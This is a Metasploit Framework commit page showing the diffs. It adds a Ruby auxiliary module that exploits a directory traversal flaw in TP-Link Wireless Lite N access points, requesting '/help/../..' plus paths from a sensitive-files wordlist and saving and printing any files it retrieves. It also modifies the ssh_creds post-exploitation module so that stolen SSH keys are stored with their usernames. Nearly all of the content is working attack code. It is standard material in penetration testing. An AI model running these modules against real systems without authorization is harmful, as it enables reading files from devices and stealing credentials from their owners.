Skip to content

Commit 2d99167

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge commit 'b0f5255de8f78fb0d54be1ee49f43455968d6740' into upstream-master
2 parents 8239998 + b0f5255 commit 2d99167

File tree

2 files changed

+142
-1
lines changed

2 files changed

+142
-1
lines changed
Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize
16+
super(
17+
'Name' => 'TP-Link Wireless Lite N Access Point - Directory Traversal Vulnerability',
18+
'Version' => '$$',
19+
'Description' => %q{
20+
This module tests whether a directory traversal vulnerablity is present
21+
in versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n
22+
},
23+
'References' =>
24+
[
25+
[ 'URL', 'http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1' ],
26+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ],
27+
[ 'BID', '57969' ],
28+
[ 'EDB', '24504' ]
29+
],
30+
'Author' => [ 'm-1-k-3' ],
31+
'License' => MSF_LICENSE
32+
)
33+
34+
register_options(
35+
[
36+
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
37+
File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
38+
], self.class)
39+
end
40+
41+
def extract_words(wordfile)
42+
return [] unless wordfile && File.readable?(wordfile)
43+
begin
44+
words = File.open(wordfile, "rb") do |f|
45+
f.read
46+
end
47+
rescue
48+
return []
49+
end
50+
save_array = words.split(/\r?\n/)
51+
return save_array
52+
end
53+
54+
def find_files(file)
55+
traversal = '/../..'
56+
57+
res = send_request_cgi(
58+
{
59+
'method' => 'GET',
60+
'uri' => '/help' << traversal << file,
61+
})
62+
63+
return if res.nil?
64+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
65+
return if (res.code == 404)
66+
return if (res.code == 501)
67+
68+
if (res and res.code == 200 and res.body !~ /\<\/HTML/)
69+
out = false
70+
71+
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
72+
report_web_vuln({
73+
:host => rhost,
74+
:port => rport,
75+
:vhost => datastore['VHOST'],
76+
:path => "/",
77+
:pname => normalize_uri(traversal, file),
78+
:risk => 3,
79+
:proof => normalize_uri(traversal, file),
80+
:name => self.fullname,
81+
:category => "web",
82+
:method => "GET"
83+
})
84+
85+
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
86+
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
87+
88+
if datastore['VERBOSE'] == true
89+
vprint_good("#{rhost}:#{rport} - Response - File #{file}:")
90+
res.body.each_line do |line|
91+
#the following is the last line of the useless response
92+
if line.to_s =~ /\/\/--><\/SCRIPT>/
93+
#setting out = true to print all of the following stuff
94+
out = true
95+
next
96+
end
97+
if out == true
98+
if line =~ /<META/ or line =~ /<Script/
99+
#we are finished :)
100+
#the next line is typical code from the website and nothing from us
101+
#this means we can skip this stuff ...
102+
out = false
103+
next
104+
else
105+
#it is our output *h00ray*
106+
#output our stuff ...
107+
print_line("#{line}")
108+
end
109+
end
110+
end
111+
out = false
112+
end
113+
elsif (res and res.code)
114+
vprint_error("#{rhost}:#{rport} - File->#{file} not found")
115+
end
116+
end
117+
118+
def run_host(ip)
119+
120+
begin
121+
print_status("#{rhost}:#{rport} - connecting")
122+
res = send_request_cgi(
123+
{
124+
'method' => 'GET',
125+
'uri' => '/',
126+
})
127+
128+
rescue ::Rex::ConnectionError
129+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
130+
return
131+
end
132+
133+
extract_words(datastore['SENSITIVE_FILES']).each do |files|
134+
find_files(files) unless files.empty?
135+
end
136+
137+
end
138+
end

modules/post/multi/gather/ssh_creds.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,9 @@ def download_loot(paths)
5959
sep = "/"
6060
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
6161
end
62-
62+
path_array = path.split(sep)
63+
path_array.pop
64+
user = path_array.pop
6365
files.each do |file|
6466
next if [".", ".."].include?(file)
6567
data = read_file("#{path}#{sep}#{file}")
@@ -77,6 +79,7 @@ def download_loot(paths)
7779
:host => session.session_host,
7880
:port => 22,
7981
:sname => 'ssh',
82+
:user => user,
8083
:pass => loot_path,
8184
:source_type => "exploit",
8285
:type => 'ssh_key',

0 commit comments

Comments
 (0)